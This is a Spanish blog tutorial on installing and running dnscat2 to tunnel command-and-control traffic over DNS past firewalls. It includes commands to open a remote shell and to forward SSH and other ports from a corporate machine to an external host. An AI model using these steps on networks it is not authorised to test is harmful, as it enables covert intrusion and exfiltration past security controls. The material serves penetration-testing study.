Evitando Firewalls con DnsCat2

En el anterior articulo hablamos de como evitar los portales cautivos,pero ¿y si quisiéramos realizar un test de intrusión o testear un equipo que esta bajo un firewall?

Para estos casos usaremos DnsCat2(que es la nueva versión de la antigua DnsCat), dnscat2 es una herramienta para la realización de túneles cifrados encima de un protocolo DNS, la herramienta consta de dos partes una cliente y otra servidora. Pero dnscat2 no es una simple herramienta para crear túneles si no que ha sido diseñada como una herramienta de control de comandos que nos permite tunelar cualquier dato que enviemos aunque este no tenga un protocolo adjunto, podremos descargar archivos,arrancar shells, usar herramientas de análisis de pentesting etc..

Instalacion Cliente

  • Descargamos el cliente desde github
git clone https://github.com/iagox86/dnscat2.git
  • Accedemos al directorio
cd dnscat2/client/
  • Compilamos
make

Instalacion Servidor El servidor esta escrito en ruby, por lo que necesitaremos antes instalar unas pequeñas dependencias – Instalamos las dependencias de ruby

apt-get install ruby-full
  • Accedemos al directorio del server
cd dnscat2/server/
  • Instalamos gem(como root)
gem install bundler
 bundle install 

Si la instalación nos da error, instalamos el paquete dev de ruby

apt-get install ruby-dev

Funcionamiento

  • Arrancamos el servidor DnsCat2 indicando nuestro dominio, donde esta el servicio DNS(como en al articuo anterior)
ruby ./dnscat2.rb nuestrodominio

-Arrancamos el cliente

./dnscat2 nuestrodominio

Ahora Dnscat2 creara una «sesion» entre los dos equipos que no es mas que una simple conexión virtual entre servidor y cliente,cada sesión tiene una id único y cada cliente puede realizar múltiples sesiones.

El funcionamiento es simple, solo tenemos que introducir las instrucciones en el cliente que se le enviaran al servidor y la ejecutara, ejemplos:

  • Redirigir todas las conexiones ssh que se están produciendo bajo dnscat2 en un equipo de una red corporativa a un equipo externo
listen 127.0.0.1:2222 ipexterna:22
  • Enviar todo el trafico de un puerto local a un equipo remoto
listen 4444 www.servidorpublicacion:80
  • Crear una shell en el equipo remoto
shell

Podremos ver un listado de las sesiones establecidas en cualquier momento con

sessions

elegir una sesion interactiva con

session idsesion

o eliminarla con

kill session

Referencias: https://github.com/iagox86/dnscat2

Compartir

3 Comentarios

Deja una respuesta

Your email address will not be published. Required fields are marked *